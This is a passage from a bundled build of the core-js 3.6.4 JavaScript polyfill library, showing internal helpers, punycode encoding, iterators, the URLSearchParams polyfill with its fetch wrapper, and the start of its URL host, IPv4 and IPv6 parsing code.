  if (simple) O[key] = value;
  else createNonEnumerableProperty(O, key, value);
// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
})(Function.prototype, 'toString', function toString() {
  return typeof this == 'function' && getInternalState(this).source || inspectSource(this);
});

},{"../internals/create-non-enumerable-property":14,"../internals/global":27,"../internals/has":28,"../internals/inspect-source":33,"../internals/internal-state":34,"../internals/set-global":61}],60:[function(require,module,exports){
// `RequireObjectCoercible` abstract operation
// https://tc39.github.io/ecma262/#sec-requireobjectcoercible
module.exports = function (it) {
  if (it == undefined) throw TypeError("Can't call method on " + it);
  return it;
};

},{}],61:[function(require,module,exports){
var global = require('../internals/global');
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');

module.exports = function (key, value) {
  try {
    createNonEnumerableProperty(global, key, value);
  } catch (error) {
    global[key] = value;
  } return value;
};

},{"../internals/create-non-enumerable-property":14,"../internals/global":27}],62:[function(require,module,exports){
var defineProperty = require('../internals/object-define-property').f;
var has = require('../internals/has');
var wellKnownSymbol = require('../internals/well-known-symbol');

var TO_STRING_TAG = wellKnownSymbol('toStringTag');

module.exports = function (it, TAG, STATIC) {
  if (it && !has(it = STATIC ? it : it.prototype, TO_STRING_TAG)) {
    defineProperty(it, TO_STRING_TAG, { configurable: true, value: TAG });
  }
};

},{"../internals/has":28,"../internals/object-define-property":47,"../internals/well-known-symbol":77}],63:[function(require,module,exports){
var shared = require('../internals/shared');
var uid = require('../internals/uid');

var keys = shared('keys');

module.exports = function (key) {
  return keys[key] || (keys[key] = uid(key));
};

},{"../internals/shared":65,"../internals/uid":75}],64:[function(require,module,exports){
var global = require('../internals/global');
var setGlobal = require('../internals/set-global');

var SHARED = '__core-js_shared__';
var store = global[SHARED] || setGlobal(SHARED, {});

module.exports = store;

},{"../internals/global":27,"../internals/set-global":61}],65:[function(require,module,exports){
var IS_PURE = require('../internals/is-pure');
var store = require('../internals/shared-store');

(module.exports = function (key, value) {
  return store[key] || (store[key] = value !== undefined ? value : {});
})('versions', []).push({
  version: '3.6.4',
  mode: IS_PURE ? 'pure' : 'global',
  copyright: '© 2020 Denis Pushkarev (zloirock.ru)'
});

},{"../internals/is-pure":38,"../internals/shared-store":64}],66:[function(require,module,exports){
var toInteger = require('../internals/to-integer');
var requireObjectCoercible = require('../internals/require-object-coercible');

// `String.prototype.{ codePointAt, at }` methods implementation
var createMethod = function (CONVERT_TO_STRING) {
  return function ($this, pos) {
    var S = String(requireObjectCoercible($this));
    var position = toInteger(pos);
    var size = S.length;
    var first, second;
    if (position < 0 || position >= size) return CONVERT_TO_STRING ? '' : undefined;
    first = S.charCodeAt(position);
    return first < 0xD800 || first > 0xDBFF || position + 1 === size
      || (second = S.charCodeAt(position + 1)) < 0xDC00 || second > 0xDFFF
        ? CONVERT_TO_STRING ? S.charAt(position) : first
        : CONVERT_TO_STRING ? S.slice(position, position + 2) : (first - 0xD800 << 10) + (second - 0xDC00) + 0x10000;
  };
};

module.exports = {
  // `String.prototype.codePointAt` method
  // https://tc39.github.io/ecma262/#sec-string.prototype.codepointat
  codeAt: createMethod(false),
  // `String.prototype.at` method
  // https://github.com/mathiasbynens/String.prototype.at
  charAt: createMethod(true)
};

},{"../internals/require-object-coercible":60,"../internals/to-integer":70}],67:[function(require,module,exports){
'use strict';
// based on https://github.com/bestiejs/punycode.js/blob/master/punycode.js
var maxInt = 2147483647; // aka. 0x7FFFFFFF or 2^31-1
var base = 36;
var tMin = 1;
var tMax = 26;
var skew = 38;
var damp = 700;
var initialBias = 72;
var initialN = 128; // 0x80
var delimiter = '-'; // '\x2D'
var regexNonASCII = /[^\0-\u007E]/; // non-ASCII chars
var regexSeparators = /[.\u3002\uFF0E\uFF61]/g; // RFC 3490 separators
var OVERFLOW_ERROR = 'Overflow: input needs wider integers to process';
var baseMinusTMin = base - tMin;
var floor = Math.floor;
var stringFromCharCode = String.fromCharCode;

/**
 * Creates an array containing the numeric code points of each Unicode
 * character in the string. While JavaScript uses UCS-2 internally,
 * this function will convert a pair of surrogate halves (each of which
 * UCS-2 exposes as separate characters) into a single code point,
 * matching UTF-16.
 */
var ucs2decode = function (string) {
  var output = [];
  var counter = 0;
  var length = string.length;
  while (counter < length) {
    var value = string.charCodeAt(counter++);
    if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
      // It's a high surrogate, and there is a next character.
      var extra = string.charCodeAt(counter++);
      if ((extra & 0xFC00) == 0xDC00) { // Low surrogate.
        output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
      } else {
        // It's an unmatched surrogate; only append this code unit, in case the
        // next code unit is the high surrogate of a surrogate pair.
        output.push(value);
        counter--;
      }
    } else {
      output.push(value);
    }
  }
  return output;
};

/**
 * Converts a digit/integer into a basic code point.
 */
var digitToBasic = function (digit) {
  //  0..25 map to ASCII a..z or A..Z
  // 26..35 map to ASCII 0..9
  return digit + 22 + 75 * (digit < 26);
};

/**
 * Bias adaptation function as per section 3.4 of RFC 3492.
 * https://tools.ietf.org/html/rfc3492#section-3.4
 */
var adapt = function (delta, numPoints, firstTime) {
  var k = 0;
  delta = firstTime ? floor(delta / damp) : delta >> 1;
  delta += floor(delta / numPoints);
  for (; delta > baseMinusTMin * tMax >> 1; k += base) {
    delta = floor(delta / baseMinusTMin);
  }
  return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
};

/**
 * Converts a string of Unicode symbols (e.g. a domain name label) to a
 * Punycode string of ASCII-only symbols.
 */
// eslint-disable-next-line  max-statements
var encode = function (input) {
  var output = [];

  // Convert the input in UCS-2 to an array of Unicode code points.
  input = ucs2decode(input);

  // Cache the length.
  var inputLength = input.length;

  // Initialize the state.
  var n = initialN;
  var delta = 0;
  var bias = initialBias;
  var i, currentValue;

  // Handle the basic code points.
  for (i = 0; i < input.length; i++) {
    currentValue = input[i];
    if (currentValue < 0x80) {
      output.push(stringFromCharCode(currentValue));
    }
  }

  var basicLength = output.length; // number of basic code points.
  var handledCPCount = basicLength; // number of code points that have been handled;

  // Finish the basic string with a delimiter unless it's empty.
  if (basicLength) {
    output.push(delimiter);
  }

  // Main encoding loop:
  while (handledCPCount < inputLength) {
    // All non-basic code points < n have been handled already. Find the next larger one:
    var m = maxInt;
    for (i = 0; i < input.length; i++) {
      currentValue = input[i];
      if (currentValue >= n && currentValue < m) {
        m = currentValue;
      }
    }

    // Increase `delta` enough to advance the decoder's <n,i> state to <m,0>, but guard against overflow.
    var handledCPCountPlusOne = handledCPCount + 1;
    if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
      throw RangeError(OVERFLOW_ERROR);
    }

    delta += (m - n) * handledCPCountPlusOne;
    n = m;

    for (i = 0; i < input.length; i++) {
      currentValue = input[i];
      if (currentValue < n && ++delta > maxInt) {
        throw RangeError(OVERFLOW_ERROR);
      }
      if (currentValue == n) {
        // Represent delta as a generalized variable-length integer.
        var q = delta;
        for (var k = base; /* no condition */; k += base) {
          var t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
          if (q < t) break;
          var qMinusT = q - t;
          var baseMinusT = base - t;
          output.push(stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT)));
          q = floor(qMinusT / baseMinusT);
        }

        output.push(stringFromCharCode(digitToBasic(q)));
        bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
        delta = 0;
        ++handledCPCount;
      }
    }

    ++delta;
    ++n;
  }
  return output.join('');
};

module.exports = function (input) {
  var encoded = [];
  var labels = input.toLowerCase().replace(regexSeparators, '\u002E').split('.');
  var i, label;
  for (i = 0; i < labels.length; i++) {
    label = labels[i];
    encoded.push(regexNonASCII.test(label) ? 'xn--' + encode(label) : label);
  }
  return encoded.join('.');
};

},{}],68:[function(require,module,exports){
var toInteger = require('../internals/to-integer');

var max = Math.max;
var min = Math.min;

// Helper for a popular repeating case of the spec:
// Let integer be ? ToInteger(index).
// If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length).
module.exports = function (index, length) {
  var integer = toInteger(index);
  return integer < 0 ? max(integer + length, 0) : min(integer, length);
};

},{"../internals/to-integer":70}],69:[function(require,module,exports){
// toObject with fallback for non-array-like ES3 strings
var IndexedObject = require('../internals/indexed-object');
var requireObjectCoercible = require('../internals/require-object-coercible');

module.exports = function (it) {
  return IndexedObject(requireObjectCoercible(it));
};

},{"../internals/indexed-object":32,"../internals/require-object-coercible":60}],70:[function(require,module,exports){
var ceil = Math.ceil;
var floor = Math.floor;

// `ToInteger` abstract operation
// https://tc39.github.io/ecma262/#sec-tointeger
module.exports = function (argument) {
  return isNaN(argument = +argument) ? 0 : (argument > 0 ? floor : ceil)(argument);
};

},{}],71:[function(require,module,exports){
var toInteger = require('../internals/to-integer');

var min = Math.min;

// `ToLength` abstract operation
// https://tc39.github.io/ecma262/#sec-tolength
module.exports = function (argument) {
  return argument > 0 ? min(toInteger(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991
};

},{"../internals/to-integer":70}],72:[function(require,module,exports){
var requireObjectCoercible = require('../internals/require-object-coercible');

// `ToObject` abstract operation
// https://tc39.github.io/ecma262/#sec-toobject
module.exports = function (argument) {
  return Object(requireObjectCoercible(argument));
};

},{"../internals/require-object-coercible":60}],73:[function(require,module,exports){
var isObject = require('../internals/is-object');

// `ToPrimitive` abstract operation
// https://tc39.github.io/ecma262/#sec-toprimitive
// instead of the ES6 spec version, we didn't implement @@toPrimitive case
// and the second argument - flag - preferred type is a string
module.exports = function (input, PREFERRED_STRING) {
  if (!isObject(input)) return input;
  var fn, val;
  if (PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val;
  if (typeof (fn = input.valueOf) == 'function' && !isObject(val = fn.call(input))) return val;
  if (!PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val;
  throw TypeError("Can't convert object to primitive value");
};

},{"../internals/is-object":37}],74:[function(require,module,exports){
var wellKnownSymbol = require('../internals/well-known-symbol');

var TO_STRING_TAG = wellKnownSymbol('toStringTag');
var test = {};

test[TO_STRING_TAG] = 'z';

module.exports = String(test) === '[object z]';

},{"../internals/well-known-symbol":77}],75:[function(require,module,exports){
var id = 0;
var postfix = Math.random();

module.exports = function (key) {
  return 'Symbol(' + String(key === undefined ? '' : key) + ')_' + (++id + postfix).toString(36);
};

},{}],76:[function(require,module,exports){
var NATIVE_SYMBOL = require('../internals/native-symbol');

module.exports = NATIVE_SYMBOL
  // eslint-disable-next-line no-undef
  && !Symbol.sham
  // eslint-disable-next-line no-undef
  && typeof Symbol.iterator == 'symbol';

},{"../internals/native-symbol":41}],77:[function(require,module,exports){
var global = require('../internals/global');
var shared = require('../internals/shared');
var has = require('../internals/has');
var uid = require('../internals/uid');
var NATIVE_SYMBOL = require('../internals/native-symbol');
var USE_SYMBOL_AS_UID = require('../internals/use-symbol-as-uid');

var WellKnownSymbolsStore = shared('wks');
var Symbol = global.Symbol;
var createWellKnownSymbol = USE_SYMBOL_AS_UID ? Symbol : Symbol && Symbol.withoutSetter || uid;

module.exports = function (name) {
  if (!has(WellKnownSymbolsStore, name)) {
    if (NATIVE_SYMBOL && has(Symbol, name)) WellKnownSymbolsStore[name] = Symbol[name];
    else WellKnownSymbolsStore[name] = createWellKnownSymbol('Symbol.' + name);
  } return WellKnownSymbolsStore[name];
};

},{"../internals/global":27,"../internals/has":28,"../internals/native-symbol":41,"../internals/shared":65,"../internals/uid":75,"../internals/use-symbol-as-uid":76}],78:[function(require,module,exports){
'use strict';
var toIndexedObject = require('../internals/to-indexed-object');
var addToUnscopables = require('../internals/add-to-unscopables');
var Iterators = require('../internals/iterators');
var InternalStateModule = require('../internals/internal-state');
var defineIterator = require('../internals/define-iterator');

var ARRAY_ITERATOR = 'Array Iterator';
var setInternalState = InternalStateModule.set;
var getInternalState = InternalStateModule.getterFor(ARRAY_ITERATOR);

// `Array.prototype.entries` method
// https://tc39.github.io/ecma262/#sec-array.prototype.entries
// `Array.prototype.keys` method
// https://tc39.github.io/ecma262/#sec-array.prototype.keys
// `Array.prototype.values` method
// https://tc39.github.io/ecma262/#sec-array.prototype.values
// `Array.prototype[@@iterator]` method
// https://tc39.github.io/ecma262/#sec-array.prototype-@@iterator
// `CreateArrayIterator` internal method
// https://tc39.github.io/ecma262/#sec-createarrayiterator
module.exports = defineIterator(Array, 'Array', function (iterated, kind) {
  setInternalState(this, {
    type: ARRAY_ITERATOR,
    target: toIndexedObject(iterated), // target
    index: 0,                          // next index
    kind: kind                         // kind
  });
// `%ArrayIteratorPrototype%.next` method
// https://tc39.github.io/ecma262/#sec-%arrayiteratorprototype%.next
}, function () {
  var state = getInternalState(this);
  var target = state.target;
  var kind = state.kind;
  var index = state.index++;
  if (!target || index >= target.length) {
    state.target = undefined;
    return { value: undefined, done: true };
  }
  if (kind == 'keys') return { value: index, done: false };
  if (kind == 'values') return { value: target[index], done: false };
  return { value: [index, target[index]], done: false };
}, 'values');

// argumentsList[@@iterator] is %ArrayProto_values%
// https://tc39.github.io/ecma262/#sec-createunmappedargumentsobject
// https://tc39.github.io/ecma262/#sec-createmappedargumentsobject
Iterators.Arguments = Iterators.Array;

// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
addToUnscopables('keys');
addToUnscopables('values');
addToUnscopables('entries');

},{"../internals/add-to-unscopables":3,"../internals/define-iterator":17,"../internals/internal-state":34,"../internals/iterators":40,"../internals/to-indexed-object":69}],79:[function(require,module,exports){
'use strict';
var charAt = require('../internals/string-multibyte').charAt;
var InternalStateModule = require('../internals/internal-state');
var defineIterator = require('../internals/define-iterator');

var STRING_ITERATOR = 'String Iterator';
var setInternalState = InternalStateModule.set;
var getInternalState = InternalStateModule.getterFor(STRING_ITERATOR);

// `String.prototype[@@iterator]` method
// https://tc39.github.io/ecma262/#sec-string.prototype-@@iterator
defineIterator(String, 'String', function (iterated) {
  setInternalState(this, {
    type: STRING_ITERATOR,
    string: String(iterated),
    index: 0
  });
// `%StringIteratorPrototype%.next` method
// https://tc39.github.io/ecma262/#sec-%stringiteratorprototype%.next
}, function next() {
  var state = getInternalState(this);
  var string = state.string;
  var index = state.index;
  var point;
  if (index >= string.length) return { value: undefined, done: true };
  point = charAt(string, index);
  state.index += point.length;
  return { value: point, done: false };
});

},{"../internals/define-iterator":17,"../internals/internal-state":34,"../internals/string-multibyte":66}],80:[function(require,module,exports){
'use strict';
// TODO: in core-js@4, move /modules/ dependencies to public entries for better optimization by tools like `preset-env`
require('../modules/es.array.iterator');
var $ = require('../internals/export');
var getBuiltIn = require('../internals/get-built-in');
var USE_NATIVE_URL = require('../internals/native-url');
var redefine = require('../internals/redefine');
var redefineAll = require('../internals/redefine-all');
var setToStringTag = require('../internals/set-to-string-tag');
var createIteratorConstructor = require('../internals/create-iterator-constructor');
var InternalStateModule = require('../internals/internal-state');
var anInstance = require('../internals/an-instance');
var hasOwn = require('../internals/has');
var bind = require('../internals/function-bind-context');
var classof = require('../internals/classof');
var anObject = require('../internals/an-object');
var isObject = require('../internals/is-object');
var create = require('../internals/object-create');
var createPropertyDescriptor = require('../internals/create-property-descriptor');
var getIterator = require('../internals/get-iterator');
var getIteratorMethod = require('../internals/get-iterator-method');
var wellKnownSymbol = require('../internals/well-known-symbol');

var $fetch = getBuiltIn('fetch');
var Headers = getBuiltIn('Headers');
var ITERATOR = wellKnownSymbol('iterator');
var URL_SEARCH_PARAMS = 'URLSearchParams';
var URL_SEARCH_PARAMS_ITERATOR = URL_SEARCH_PARAMS + 'Iterator';
var setInternalState = InternalStateModule.set;
var getInternalParamsState = InternalStateModule.getterFor(URL_SEARCH_PARAMS);
var getInternalIteratorState = InternalStateModule.getterFor(URL_SEARCH_PARAMS_ITERATOR);

var plus = /\+/g;
var sequences = Array(4);

var percentSequence = function (bytes) {
  return sequences[bytes - 1] || (sequences[bytes - 1] = RegExp('((?:%[\\da-f]{2}){' + bytes + '})', 'gi'));
};

var percentDecode = function (sequence) {
  try {
    return decodeURIComponent(sequence);
  } catch (error) {
    return sequence;
  }
};

var deserialize = function (it) {
  var result = it.replace(plus, ' ');
  var bytes = 4;
  try {
    return decodeURIComponent(result);
  } catch (error) {
    while (bytes) {
      result = result.replace(percentSequence(bytes--), percentDecode);
    }
    return result;
  }
};

var find = /[!'()~]|%20/g;

var replace = {
  '!': '%21',
  "'": '%27',
  '(': '%28',
  ')': '%29',
  '~': '%7E',
  '%20': '+'
};

var replacer = function (match) {
  return replace[match];
};

var serialize = function (it) {
  return encodeURIComponent(it).replace(find, replacer);
};

var parseSearchParams = function (result, query) {
  if (query) {
    var attributes = query.split('&');
    var index = 0;
    var attribute, entry;
    while (index < attributes.length) {
      attribute = attributes[index++];
      if (attribute.length) {
        entry = attribute.split('=');
        result.push({
          key: deserialize(entry.shift()),
          value: deserialize(entry.join('='))
        });
      }
    }
  }
};

var updateSearchParams = function (query) {
  this.entries.length = 0;
  parseSearchParams(this.entries, query);
};

var validateArgumentsLength = function (passed, required) {
  if (passed < required) throw TypeError('Not enough arguments');
};

var URLSearchParamsIterator = createIteratorConstructor(function Iterator(params, kind) {
  setInternalState(this, {
    type: URL_SEARCH_PARAMS_ITERATOR,
    iterator: getIterator(getInternalParamsState(params).entries),
    kind: kind
  });
}, 'Iterator', function next() {
  var state = getInternalIteratorState(this);
  var kind = state.kind;
  var step = state.iterator.next();
  var entry = step.value;
  if (!step.done) {
    step.value = kind === 'keys' ? entry.key : kind === 'values' ? entry.value : [entry.key, entry.value];
  } return step;
});

// `URLSearchParams` constructor
// https://url.spec.whatwg.org/#interface-urlsearchparams
var URLSearchParamsConstructor = function URLSearchParams(/* init */) {
  anInstance(this, URLSearchParamsConstructor, URL_SEARCH_PARAMS);
  var init = arguments.length > 0 ? arguments[0] : undefined;
  var that = this;
  var entries = [];
  var iteratorMethod, iterator, next, step, entryIterator, entryNext, first, second, key;

  setInternalState(that, {
    type: URL_SEARCH_PARAMS,
    entries: entries,
    updateURL: function () { /* empty */ },
    updateSearchParams: updateSearchParams
  });

  if (init !== undefined) {
    if (isObject(init)) {
      iteratorMethod = getIteratorMethod(init);
      if (typeof iteratorMethod === 'function') {
        iterator = iteratorMethod.call(init);
        next = iterator.next;
        while (!(step = next.call(iterator)).done) {
          entryIterator = getIterator(anObject(step.value));
          entryNext = entryIterator.next;
          if (
            (first = entryNext.call(entryIterator)).done ||
            (second = entryNext.call(entryIterator)).done ||
            !entryNext.call(entryIterator).done
          ) throw TypeError('Expected sequence with length 2');
          entries.push({ key: first.value + '', value: second.value + '' });
        }
      } else for (key in init) if (hasOwn(init, key)) entries.push({ key: key, value: init[key] + '' });
    } else {
      parseSearchParams(entries, typeof init === 'string' ? init.charAt(0) === '?' ? init.slice(1) : init : init + '');
    }
  }
};

var URLSearchParamsPrototype = URLSearchParamsConstructor.prototype;

redefineAll(URLSearchParamsPrototype, {
  // `URLSearchParams.prototype.appent` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-append
  append: function append(name, value) {
    validateArgumentsLength(arguments.length, 2);
    var state = getInternalParamsState(this);
    state.entries.push({ key: name + '', value: value + '' });
    state.updateURL();
  },
  // `URLSearchParams.prototype.delete` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-delete
  'delete': function (name) {
    validateArgumentsLength(arguments.length, 1);
    var state = getInternalParamsState(this);
    var entries = state.entries;
    var key = name + '';
    var index = 0;
    while (index < entries.length) {
      if (entries[index].key === key) entries.splice(index, 1);
      else index++;
    }
    state.updateURL();
  },
  // `URLSearchParams.prototype.get` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-get
  get: function get(name) {
    validateArgumentsLength(arguments.length, 1);
    var entries = getInternalParamsState(this).entries;
    var key = name + '';
    var index = 0;
    for (; index < entries.length; index++) {
      if (entries[index].key === key) return entries[index].value;
    }
    return null;
  },
  // `URLSearchParams.prototype.getAll` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-getall
  getAll: function getAll(name) {
    validateArgumentsLength(arguments.length, 1);
    var entries = getInternalParamsState(this).entries;
    var key = name + '';
    var result = [];
    var index = 0;
    for (; index < entries.length; index++) {
      if (entries[index].key === key) result.push(entries[index].value);
    }
    return result;
  },
  // `URLSearchParams.prototype.has` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-has
  has: function has(name) {
    validateArgumentsLength(arguments.length, 1);
    var entries = getInternalParamsState(this).entries;
    var key = name + '';
    var index = 0;
    while (index < entries.length) {
      if (entries[index++].key === key) return true;
    }
    return false;
  },
  // `URLSearchParams.prototype.set` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-set
  set: function set(name, value) {
    validateArgumentsLength(arguments.length, 1);
    var state = getInternalParamsState(this);
    var entries = state.entries;
    var found = false;
    var key = name + '';
    var val = value + '';
    var index = 0;
    var entry;
    for (; index < entries.length; index++) {
      entry = entries[index];
      if (entry.key === key) {
        if (found) entries.splice(index--, 1);
        else {
          found = true;
          entry.value = val;
        }
      }
    }
    if (!found) entries.push({ key: key, value: val });
    state.updateURL();
  },
  // `URLSearchParams.prototype.sort` method
  // https://url.spec.whatwg.org/#dom-urlsearchparams-sort
  sort: function sort() {
    var state = getInternalParamsState(this);
    var entries = state.entries;
    // Array#sort is not stable in some engines
    var slice = entries.slice();
    var entry, entriesIndex, sliceIndex;
    entries.length = 0;
    for (sliceIndex = 0; sliceIndex < slice.length; sliceIndex++) {
      entry = slice[sliceIndex];
      for (entriesIndex = 0; entriesIndex < sliceIndex; entriesIndex++) {
        if (entries[entriesIndex].key > entry.key) {
          entries.splice(entriesIndex, 0, entry);
          break;
        }
      }
      if (entriesIndex === sliceIndex) entries.push(entry);
    }
    state.updateURL();
  },
  // `URLSearchParams.prototype.forEach` method
  forEach: function forEach(callback /* , thisArg */) {
    var entries = getInternalParamsState(this).entries;
    var boundFunction = bind(callback, arguments.length > 1 ? arguments[1] : undefined, 3);
    var index = 0;
    var entry;
    while (index < entries.length) {
      entry = entries[index++];
      boundFunction(entry.value, entry.key, this);
    }
  },
  // `URLSearchParams.prototype.keys` method
  keys: function keys() {
    return new URLSearchParamsIterator(this, 'keys');
  },
  // `URLSearchParams.prototype.values` method
  values: function values() {
    return new URLSearchParamsIterator(this, 'values');
  },
  // `URLSearchParams.prototype.entries` method
  entries: function entries() {
    return new URLSearchParamsIterator(this, 'entries');
  }
}, { enumerable: true });

// `URLSearchParams.prototype[@@iterator]` method
redefine(URLSearchParamsPrototype, ITERATOR, URLSearchParamsPrototype.entries);

// `URLSearchParams.prototype.toString` method
// https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
redefine(URLSearchParamsPrototype, 'toString', function toString() {
  var entries = getInternalParamsState(this).entries;
  var result = [];
  var index = 0;
  var entry;
  while (index < entries.length) {
    entry = entries[index++];
    result.push(serialize(entry.key) + '=' + serialize(entry.value));
  } return result.join('&');
}, { enumerable: true });

setToStringTag(URLSearchParamsConstructor, URL_SEARCH_PARAMS);

$({ global: true, forced: !USE_NATIVE_URL }, {
  URLSearchParams: URLSearchParamsConstructor
});

// Wrap `fetch` for correct work with polyfilled `URLSearchParams`
// https://github.com/zloirock/core-js/issues/674
if (!USE_NATIVE_URL && typeof $fetch == 'function' && typeof Headers == 'function') {
  $({ global: true, enumerable: true, forced: true }, {
    fetch: function fetch(input /* , init */) {
      var args = [input];
      var init, body, headers;
      if (arguments.length > 1) {
        init = arguments[1];
        if (isObject(init)) {
          body = init.body;
          if (classof(body) === URL_SEARCH_PARAMS) {
            headers = init.headers ? new Headers(init.headers) : new Headers();
            if (!headers.has('content-type')) {
              headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
            }
            init = create(init, {
              body: createPropertyDescriptor(0, String(body)),
              headers: createPropertyDescriptor(0, headers)
            });
          }
        }
        args.push(init);
      } return $fetch.apply(this, args);
    }
  });
}

module.exports = {
  URLSearchParams: URLSearchParamsConstructor,
  getState: getInternalParamsState
};

},{"../internals/an-instance":4,"../internals/an-object":5,"../internals/classof":10,"../internals/create-iterator-constructor":13,"../internals/create-property-descriptor":15,"../internals/export":21,"../internals/function-bind-context":23,"../internals/get-built-in":24,"../internals/get-iterator":26,"../internals/get-iterator-method":25,"../internals/has":28,"../internals/internal-state":34,"../internals/is-object":37,"../internals/native-url":42,"../internals/object-create":45,"../internals/redefine":59,"../internals/redefine-all":58,"../internals/set-to-string-tag":62,"../internals/well-known-symbol":77,"../modules/es.array.iterator":78}],81:[function(require,module,exports){
'use strict';
// TODO: in core-js@4, move /modules/ dependencies to public entries for better optimization by tools like `preset-env`
require('../modules/es.string.iterator');
var $ = require('../internals/export');
var DESCRIPTORS = require('../internals/descriptors');
var USE_NATIVE_URL = require('../internals/native-url');
var global = require('../internals/global');
var defineProperties = require('../internals/object-define-properties');
var redefine = require('../internals/redefine');
var anInstance = require('../internals/an-instance');
var has = require('../internals/has');
var assign = require('../internals/object-assign');
var arrayFrom = require('../internals/array-from');
var codeAt = require('../internals/string-multibyte').codeAt;
var toASCII = require('../internals/string-punycode-to-ascii');
var setToStringTag = require('../internals/set-to-string-tag');
var URLSearchParamsModule = require('../modules/web.url-search-params');
var InternalStateModule = require('../internals/internal-state');

var NativeURL = global.URL;
var URLSearchParams = URLSearchParamsModule.URLSearchParams;
var getInternalSearchParamsState = URLSearchParamsModule.getState;
var setInternalState = InternalStateModule.set;
var getInternalURLState = InternalStateModule.getterFor('URL');
var floor = Math.floor;
var pow = Math.pow;

var INVALID_AUTHORITY = 'Invalid authority';
var INVALID_SCHEME = 'Invalid scheme';
var INVALID_HOST = 'Invalid host';
var INVALID_PORT = 'Invalid port';

var ALPHA = /[A-Za-z]/;
var ALPHANUMERIC = /[\d+\-.A-Za-z]/;
var DIGIT = /\d/;
var HEX_START = /^(0x|0X)/;
var OCT = /^[0-7]+$/;
var DEC = /^\d+$/;
var HEX = /^[\dA-Fa-f]+$/;
// eslint-disable-next-line no-control-regex
var FORBIDDEN_HOST_CODE_POINT = /[\u0000\u0009\u000A\u000D #%/:?@[\\]]/;
// eslint-disable-next-line no-control-regex
var FORBIDDEN_HOST_CODE_POINT_EXCLUDING_PERCENT = /[\u0000\u0009\u000A\u000D #/:?@[\\]]/;
// eslint-disable-next-line no-control-regex
var LEADING_AND_TRAILING_C0_CONTROL_OR_SPACE = /^[\u0000-\u001F ]+|[\u0000-\u001F ]+$/g;
// eslint-disable-next-line no-control-regex
var TAB_AND_NEW_LINE = /[\u0009\u000A\u000D]/g;
var EOF;

var parseHost = function (url, input) {
  var result, codePoints, index;
  if (input.charAt(0) == '[') {
    if (input.charAt(input.length - 1) != ']') return INVALID_HOST;
    result = parseIPv6(input.slice(1, -1));
    if (!result) return INVALID_HOST;
    url.host = result;
  // opaque host
  } else if (!isSpecial(url)) {
    if (FORBIDDEN_HOST_CODE_POINT_EXCLUDING_PERCENT.test(input)) return INVALID_HOST;
    result = '';
    codePoints = arrayFrom(input);
    for (index = 0; index < codePoints.length; index++) {
      result += percentEncode(codePoints[index], C0ControlPercentEncodeSet);
    }
    url.host = result;
  } else {
    input = toASCII(input);
    if (FORBIDDEN_HOST_CODE_POINT.test(input)) return INVALID_HOST;
    result = parseIPv4(input);
    if (result === null) return INVALID_HOST;
    url.host = result;
  }
};

var parseIPv4 = function (input) {
  var parts = input.split('.');
  var partsLength, numbers, index, part, radix, number, ipv4;
  if (parts.length && parts[parts.length - 1] == '') {
    parts.pop();
  }
  partsLength = parts.length;
  if (partsLength > 4) return input;
  numbers = [];
  for (index = 0; index < partsLength; index++) {
    part = parts[index];
    if (part == '') return input;
    radix = 10;
    if (part.length > 1 && part.charAt(0) == '0') {
      radix = HEX_START.test(part) ? 16 : 8;
      part = part.slice(radix == 8 ? 1 : 2);
    }
    if (part === '') {
      number = 0;
    } else {
      if (!(radix == 10 ? DEC : radix == 8 ? OCT : HEX).test(part)) return input;
      number = parseInt(part, radix);
    }
    numbers.push(number);
  }
  for (index = 0; index < partsLength; index++) {
    number = numbers[index];
    if (index == partsLength - 1) {
      if (number >= pow(256, 5 - partsLength)) return null;
    } else if (number > 255) return null;
  }
  ipv4 = numbers.pop();
  for (index = 0; index < numbers.length; index++) {
    ipv4 += numbers[index] * pow(256, 3 - index);
  }
  return ipv4;
};

// eslint-disable-next-line max-statements
var parseIPv6 = function (input) {
  var address = [0, 0, 0, 0, 0, 0, 0, 0];
  var pieceIndex = 0;
  var compress = null;
  var pointer = 0;
  var value, length, numbersSeen, ipv4Piece, number, swaps, swap;

  var char = function () {
    return input.charAt(pointer);
  };

  if (char() == ':') {
    if (input.charAt(1) != ':') return;
    pointer += 2;
    pieceIndex++;
    compress = pieceIndex;
  }
  while (char()) {
    if (pieceIndex == 8) return;
    if (char() == ':') {
      if (compress !== null) return;
      pointer++;
      pieceIndex++;
      compress = pieceIndex;
      continue;
    }
    value = length = 0;
    while (length < 4 && HEX.test(char())) {
      value = value * 16 + parseInt(char(), 16);
      pointer++;
      length++;
    }
    if (char() == '.') {
      if (length == 0) return;
      pointer -= length;
      if (pieceIndex > 6) return;
      numbersSeen = 0;
      while (char()) {
        ipv4Piece = null;
        if (numbersSeen > 0) {
          if (char() == '.' && numbersSeen < 4) pointer++;
          else return;
        }
        if (!DIGIT.test(char())) return;
        while (DIGIT.test(char())) {
          number = parseInt(char(), 10);
          if (ipv4Piece === null) ipv4Piece = number;
          else if (ipv4Piece == 0) return;
          else ipv4Piece = ipv4Piece * 10 + number;
          if (ipv4Piece > 255) return;
          pointer++;
        }
        address[pieceIndex] = address[pieceIndex] * 256 + ipv4Piece;
        numbersSeen++;
        if (numbersSeen == 2 || numbersSeen == 4) pieceIndex++;
      }
      if (numbersSeen != 4) return;
      break;
    } else if (char() == ':') {
      pointer++;
      if (!char()) return;
